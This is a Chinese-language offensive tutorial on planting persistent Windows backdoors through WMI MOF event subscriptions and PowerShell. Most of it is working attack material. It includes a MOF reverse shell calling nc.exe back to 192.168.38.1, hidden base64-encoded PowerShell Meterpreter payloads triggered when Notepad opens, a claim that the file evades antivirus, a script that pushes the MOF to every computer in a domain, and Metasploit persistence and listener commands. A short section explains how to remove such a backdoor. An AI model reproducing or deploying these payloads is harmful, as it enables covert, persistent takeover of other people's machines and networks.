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Powershell之MOF后门

0x00 MOF

Managed Object Format (MOF)是WMI数据库中类和类实例的原始保存形式。具体介绍可以阅读《WMI 的攻击，防御与取证分析技术之防御篇》，Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件：

方法 1：使用Mofcomp.exe。
方法 2：使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3：拖放到 %SystemRoot%/System32/Wbem/MOF 文件夹的 MOF 文件。

第三种方法仅为向后兼容性与早期版本（win2003）的 WMI 提供。

一个简单的MOF反弹shell示例：

#!vb #pragma namespace ("////.//root//subscription")  instance of __EventFilter as $FILTER {     Name = "CLASS_FIRST_TEST";     EventNamespace = "root//cimv2";  Query = "SELECT * FROM __InstanceCreationEvent "   "WHERE TargetInstance ISA /"Win32_NTLogEvent/" AND "   "TargetInstance.LogFile=/"Application/"";     QueryLanguage = "WQL"; };  instance of ActiveScriptEventConsumer as $CONSUMER {     Name = "CLASS_FIRST_TEST";     ScriptingEngine = "VBScript";      ScriptText =       "Set objShell = CreateObject(/"WScript.Shell/")/n"    "objShell.Run /"C://Windows//system32//cmd.exe /C C://nc.exe 192.168.38.1 1337 -e C://Windows//system32//cmd.exe/"/n"; };  instance of __FilterToConsumerBinding {     Consumer = $CONSUMER ;     Filter = $FILTER ; };

0x01 MOF and Powershell

如果获取了管理员权限，使用MOF可以做一个永久的隐藏后门。对于很多后门来说，都需要一个触发，在这里，可以使用 WMI Query Language(WQL) 来查询事件，以便确定什么时候触发我们的后门。（更多详细的解释可在查看戳我，戳我 )。

比如，我们想做一个后门通过打开notepad来触发，可以使用以下查询：

#!sql "SELECT * FROM __InstanceCreationEvent Within 5 "    "Where TargetInstance Isa /"Win32_Process/" "   "And Targetinstance.Name = /"notepad.exe/" ";

如果想通过关闭Powershell来触发，可以使用以下查询：

#!sql "SELECT * FROM __InstanceDeletionEvent Within 5 "    "Where TargetInstance Isa /"Win32_Process/" "   "And Targetinstance.Name = /"powershell.exe/" ";

如果想通过每小时在30分钟的时候触发，可使用以下查询：

#!sql "Select * From __InstanceModificationEvent "   "Where TargetInstance Isa /"Win32_LocalTime/" "   "And TargetInstance.Minute = 30 "

当我们确定了我们的触发方式以后，我们就可以把我们的查询写成一个MOF过滤器：

#!vb instance of __EventFilter as $Filt {     Name = "EventFilter";     EventNamespace = "Root//Cimv2";     Query = <插入查询>      QueryLanguage = "WQL"; };

比如我们使用打开Notepad作为触发条件，那么可以这样写：

#!vb instance of __EventFilter as $Filt {     Name = "EventFilter";     EventNamespace = "Root//Cimv2";     Query ="SELECT * FROM __InstanceCreationEvent Within 5"             "Where TargetInstance Isa /"Win32_Process/" "            "And Targetinstance.Name = /"notepad.exe/" ";     QueryLanguage = "WQL"; };

下面我们就需要事件消费者的响应了，在这里我们可以使用不同的 EventConsumer 类，通过使用CommandLineEventConsumer，我们可以使用Veil输出的payload，同时也可以使用ActiveScriptEventConsumer来嵌入或者调用VBS脚本。下面是一个使用CommandLineEventConsumer的示例：

#!vb "cmd /C [data here]";

下面使用Veil来生成Powershell payload:

Powershell之MOF后门

选择x86里面进行测试，payload如下：

#!bash powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(/"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=/")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

接下来，我们把上面的payload放到下面的模板中：

#!vb instance of CommandLineEventConsumer as $Cons {     Name = "Powershell Helper";     RunInteractively=false;     CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(/"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=/")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"; };

这里要注意一点就是如果payload里面存在需要转义的 " 以及 / 这里可以使用双引号将qi其引用并用/进行转义。

最后我们所写的MOF文件是这样的：

#!vb #PRAGMA NAMESPACE ("////.//root//subscription") instance of CommandLineEventConsumer as $Cons {     Name = "Powershell Helper";     RunInteractively=false;     CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden"     " -Exec Bypass -Command /"Invoke-Expression "     "$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String"     "(///"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5"     "UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/"     "Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13"     "URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/"     "JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/"     "ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/"     "RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=///")))), "     "[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();/""; };  instance of __EventFilter as $Filt {     Name = "EventFilter";     EventNamespace = "Root//Cimv2";     Query ="SELECT * FROM __InstanceCreationEvent Within 5"             "Where TargetInstance Isa /"Win32_Process/" "            "And Targetinstance.Name = /"notepad.exe/" ";     QueryLanguage = "WQL"; };  instance of __FilterToConsumerBinding {      Filter = $Filt;      Consumer = $Cons; };

如果觉得麻烦的话，可以使用这个工具 unicorn 来生成没有特殊字符的payload，使用方式很简单:

#!bash ☁  unicorn [master] python unicorn.py windows/meterpreter/reverse_tcp 192.168.74.141 8889

将 powershell_attack.txt 的内容复制进来，然后 msfconsole -r unicorn.rc 则可开启监听,修改后的MOF文件如下：

#!vb #PRAGMA NAMESPACE ("////.//root//subscription") instance of CommandLineEventConsumer as $Cons {     Name = "Powershell Helper";     RunInteractively=false;     CommandLineTemplate="cmd /C powershell -window hidden -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMANAAsADAAeABiAGEALAAwAHgAYQBlACwAMAB4AGUAZAAsADAAeABmADMALAAwAHgANgA0ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGYALAAwAHgAMgBiACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANAA3ACwAMAB4ADMAMQAsADAAeAA1ADcALAAwAHgAMQA4ACwAMAB4ADgAMwAsADAAeABjADcALAAwAHgAMAA0ACwAMAB4ADAAMwAsADAAeAA1ADcALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAwADYALAAwAHgAOQA4ACwAMAB4ADIAYQAsADAAeAA0AGQALAAwAHgAZQA5ACwAMAB4ADYAMQAsADAAeABhAGEALAAwAHgAMwAyACwAMAB4ADYAMwAsADAAeAA4ADQALAAwAHgAOQBiACwAMAB4ADcAMgAsADAAeAAxADcALAAwAHgAYwBjACwAMAB4ADgAYgAsADAAeAA0ADIALAAwAHgANQAzACwAMAB4ADgAMAAsADAAeAAyADcALAAwAHgAMgA4ACwAMAB4ADMAMQAsADAAeAAzADEALAAwAHgAYgBjACwAMAB4ADUAYwAsADAAeAA5AGUALAAwAHgAMwA2ACwAMAB4ADcANQAsADAAeABlAGEALAAwAHgAZgA4ACwAMAB4ADcAOQAsADAAeAA4ADYALAAwAHgANAA3ACwAMAB4ADMAOAAsADAAeAAxAGIALAAwAHgAMAA0ACwAMAB4ADkAYQAsADAAeAA2AGQALAAwAHgAZgBiACwAMAB4ADMANQAsADAAeAA1ADUALAAwAHgANgAwACwAMAB4AGYAYQAsADAAeAA3ADIALAAwAHgAOAA4ACwAMAB4ADgAOQAsADAAeABhAGUALAAwAHgAMgBiACwAMAB4AGMANgAsADAAeAAzAGMALAAwAHgANQBmACwAMAB4ADUAOAAsADAAeAA5ADIALAAwAHgAZgBjACwAMAB4AGQANAAsADAAeAAxADIALAAwAHgAMwAyACwAMAB4ADgANQAsADAAeAAwADkALAAwAHgAZQAyACwAMAB4ADMANQAsADAAeABhADQALAAwAHgAOQBmACwAMAB4ADcAOQAsADAAeAA2AGMALAAwAHgANgA2ACwAMAB4ADIAMQAsADAAeABhAGUALAAwAHgAMAA0ACwAMAB4ADIAZgAsADAAeAAzADkALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeABmADkALAAwAHgAYgAyACwAMAB4ADAANwAsADAAeABkAGQALAAwAHgAZgA4ACwAMAB4ADEAMgAsADAAeAA1ADYALAAwAHgAMQBlACwAMAB4ADUANgAsADAAeAA1AGIALAAwAHgANQA3ACwAMAB4AGUAZAAsADAAeABhADYALAAwAHgAOQBiACwAMAB4ADUAZgAsADAAeAAwAGUALAAwAHgAZABkACwAMAB4AGQANQAsADAAeAA5AGMALAAwAHgAYgAzACwAMAB4AGUANgAsADAAeAAyADEALAAwAHgAZABmACwAMAB4ADYAZgAsADAAeAA2ADIALAAwAHgAYgAyACwAMAB4ADQANwAsADAAeABmAGIALAAwAHgAZAA0ACwAMAB4ADEAZQAsADAAeAA3ADYALAAwAHgAMgA4ACwAMAB4ADgAMgAsADAAeABkADUALAAwAHgANwA0ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAYgAyACwAMAB4ADkAOAAsADAAeAAxADgALAAwAHgAMAA0ACwAMAB4AGMAOQAsADAAeABhADQALAAwAHgAOQAxACwAMAB4AGEAYgAsADAAeAAxAGUALAAwAHgAMgBkACwAMAB4AGUAMQAsADAAeAA4AGYALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeABiADEALAAwAHgAYQBlACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgAMQA0ACwAMAB4AGMAZQAsADAAeABmAGMALAAwAHgAYgBkACwAMAB4AGMAOQAsADAAeAA2AGEALAAwAHgANwA2ACwAMAB4ADUAMwAsADAAeAAxAGQALAAwAHgAMAA3ACwAMAB4AGQANQAsADAAeAAzAGIALAAwAHgAZAAyACwAMAB4ADIAYQAsADAAeABlADYALAAwAHgAYgBiACwAMAB4ADcAYwAsADAAeAAzAGMALAAwAHgAOQA1ACwAMAB4ADgAOQAsADAAeAAyADMALAAwAHgAOQA2ACwAMAB4ADMAMQAsADAAeABhADEALAAwAHgAYQBjACwAMAB4ADMAMAAsADAAeABjADUALAAwAHgAYwA2ACwAMAB4ADgANgAsADAAeAA4ADUALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAyADkALAAwAHgAZgA2ACwAMAB4ADcAMAAsADAAeABmAGQALAAwAHgANwBkACwAMAB4AGEANgAsADAAeABlAGEALAAwAHgAZAA0ACwAMAB4AGYAZAAsADAAeAAyAGQALAAwAHgAZQBiACwAMAB4AGQAOQAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4AGUAZQAsADAAeAA0AGQALAAwAHgAMQA0ACwAMAB4AGIANAAsADAAeABiAGIALAAwAHgAMAAwACwAMAB4AGYAYwAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADMAOAAsADAAeAA0ADQALAAwAHgANABlACwAMAB4AGQAZAAsADAAeAA2AGMALAAwAHgAZQA2ACwAMAB4ADAAMQAsADAAeAA3ADIALAAwAHgAYwBjACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAMgAyACwAMAB4AGEANAAsADAAeABiAGMALAAwAHgAZQBkACwAMAB4ADEAZAAsADAAeABkADQALAAwAHgAYgBlACwAMAB4ADIANwAsADAAeAAzADYALAAwAHgANwBlACwAMAB4ADUAMQAsADAAeAA5AGUALAAwAHgANgBlACwAMAB4ADEANgAsADAAeABjADgALAAwAHgAYgBiACwAMAB4AGUANQAsADAAeAA4ADcALAAwAHgAMQA1ACwAMAB4ADEANgAsADAAeAA4ADAALAAwAHgAOAA3ACwAMAB4ADkAZQAsADAAeAA5ADUALAAwAHgANwA0ACwAMAB4ADQAOQAsADAAeAA1ADcALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAAzAGQALAAwAHgAOQA3ACwAMAB4AGEAZQAsADAAeABkADUALAAwAHgAZQBiACwAMAB4AGEAOAAsADAAeAAwADQALAAwAHgANwAzACwAMAB4ADEAMwAsADAAeAAzAGQALAAwAHgAYQAzACwAMAB4AGQAMgAsADAAeAA0ADQALAAwAHgAYQA5ACwAMAB4AGEAOQAsADAAeAAwADMALAAwAHgAYQAyACwAMAB4ADcANgAsADAAeAA1ADEALAAwAHgANgA2ACwAMAB4AGIAOQAsADAAeABiAGYALAAwAHgAYwA3ACwAMAB4AGMAOQAsADAAeABkADUALAAwAHgAYgBmACwAMAB4ADAANwAsADAAeABjAGEALAAwAHgAMgA1ACwAMAB4ADkANgAsADAAeAA0AGQALAAwAHgAYwBhACwAMAB4ADQAZAAsADAAeAA0AGUALAAwAHgAMwA2ACwAMAB4ADkAOQAsADAAeAA2ADgALAAwAHgAOQAxACwAMAB4AGUAMwAsADAAeAA4AGQALAAwAHgAMgAxACwAMAB4ADAANAAsADAAeAAwAGMALAAwAHgAZQA0ACwAMAB4ADkANgAsADAAeAA4AGYALAAwAHgANgA0ACwAMAB4ADAAYQAsADAAeABjADEALAAwAHgAZgA4ACwAMAB4ADIAYQAsADAAeABmADUALAAwAHgAMgA0ACwAMAB4AGYAOQAsADAAeAAxADcALAAwAHgAMgAwACwAMAB4ADAAMAAsADAAeAA4AGYALAAwAHgANwA5ACwAMAB4AGYAMAA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkADEAKQApADsAJAAyACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A"; };  instance of __EventFilter as $Filt {     Name = "EventFilter";     EventNamespace = "Root//Cimv2";     Query ="SELECT * FROM __InstanceCreationEvent Within 5"             "Where TargetInstance Isa /"Win32_Process/" "            "And Targetinstance.Name = /"notepad.exe/" ";     QueryLanguage = "WQL"; };  instance of __FilterToConsumerBinding {      Filter = $Filt;      Consumer = $Cons; };

将以上内容保存为test.mof，如果拥有管理员权限，可以将test.mof放到 %SYSTEMROOT%/wbem/MOF 目录（xp以下操作系统），系统会自动编译执行此脚本，如果在XP 或者更高版本的操作系统上可以执行如下命令：

#!bash C:/>mofcomp.exe c:/test.mof

执行以后，当打开记事本的时候，则可生成meterpreter会话：

Powershell之MOF后门

同时，这个mof文件是免杀的：

Powershell之MOF后门

当然除了这个我们还可以做其他事情，比如关闭某个程序，当其启动时就关闭，MOF文件如下：

#!vb #PRAGMA NAMESPACE ("////.//root//subscription") instance of CommandLineEventConsumer as $Cons {     Name = "Powershell Helper 2";     RunInteractively=false;     CommandLineTemplate="cmd /C powershell.exe Stop-Process -processname notepad -Force"; }; instance of __EventFilter as $Filt {     Name = "EventFilter 2";     EventNamespace = "Root//Cimv2";     Query ="SELECT * FROM __InstanceCreationEvent Within 3"             "Where TargetInstance Isa /"Win32_Process/" "             "And Targetinstance.Name = /"notepad.exe/" ";     QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding {       Filter = $Filt;      Consumer = $Cons; };

如果我们想要远程执行，可使用如下命令：

#!bash c:/>mofcomp -N //[machinename]/root/subscription test.mof

如果我们在域内，还可以用下面的Powershell脚本批量远程执行：

#!vb function getNetHosts  { $final = @() ＃获取域计算机 $strCategory = "computer" $objDomain = New-Object System.DirectoryServices.DirectoryEntry $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearcher.SearchRoot = $objDomain $objSearcher.Filter = ("(objectCategory=$strCategory)") $colProplist = "name", "cn" foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} $colResults = $objSearcher.FindAll() foreach ($objResult in $colResults)  {      $objComputer = $objResult.Properties          $bleh = $objComputer.name          $final += $bleh } return $final } $nethosts= getNetHosts foreach ($nethost in $nethosts) {      write-host "Exec on " + $nethost        $str = "//"+$nethost+"/root/subscription"      $m = mofcomp -N $str test.mof }

使用方式为：

#!bash c:/> powershell -ExecutionPolicy Bypass ./test.ps1 # mof文件在同一个文件夹下面

Powershell之MOF后门

0x02 Meterpreter Post Module

这里有一个msf的模块，可以实现此后门安装，地址： metasploit-modules ，下载以后将其移动到 post/windows/ 文件夹则可使用：

#!bash ☁  persistence [master] mv mof_ps_persist.rb $msf_path/modules/post/windows/

在获取meterpreter会话以后，安装此后门：

#!bash msf exploit(web_delivery) > use post/windows/mof_ps_persist  msf post(mof_ps_persist) > set LHOST 192.168.101.1  LHOST => 192.168.101.1 msf post(mof_ps_persist) > set lport 8887 lport => 8887 msf post(mof_ps_persist) > set session 4 session => 4 msf post(mof_ps_persist) > run

默认payload为 windows/meterpreter/reverse_tcp ，执行时间间隔为60秒，如果想通过触发方式启动，可以自行修改ruby脚本。

Powershell之MOF后门

开启监听：

#!bash msf post(mof_ps_persist) > use exploit/multi/handler  msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.101.1  lhost => 192.168.101.1 msf exploit(handler) > set lport 8887 lport => 8887 msf exploit(handler) > exploit -j

Powershell之MOF后门

如果看到错误80041003，说明权限不够，可以试试试用bypassuac,具体怎么bypass，请戳我。

当会话中断以后，由于mof自动执行，所以可以重新获取meterpreter会话。当对方电脑重启以后，仍可以获取会话。

如果想要清除后门，可以resource 生成的rc文件。

Powershell之MOF后门

0x03 停止MOF

要停止mof，可进行如下操作：

第一 net stop winmgmt 停止服务，
第二删除文件夹： C:/WINDOWS/system32/wbem/Repository/
第三 net start winmgmt 启动服务

0x04 小结

本篇文章主要介绍了一些结合MOF与powershell来进行制作后门的方式方法，对于MOF大家可能接触最多的就是在MYSQL提权时使用MOF来提权，其实玩儿法还很多，大家可以继续来研究研究，希望此文对你有帮助。

0x05 参考

http://drops.wooyun.org/tips/10346
http://drops.wooyun.org/tips/9973
http://drops.wooyun.org/tips/8290
http://www.codeproject.com/Articles/27914/WMI-MOF-Basics
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html
http://www.cnblogs.com/2018/archive/2010/09/25/1834879.html
http://www.jb51.net/article/52489.htm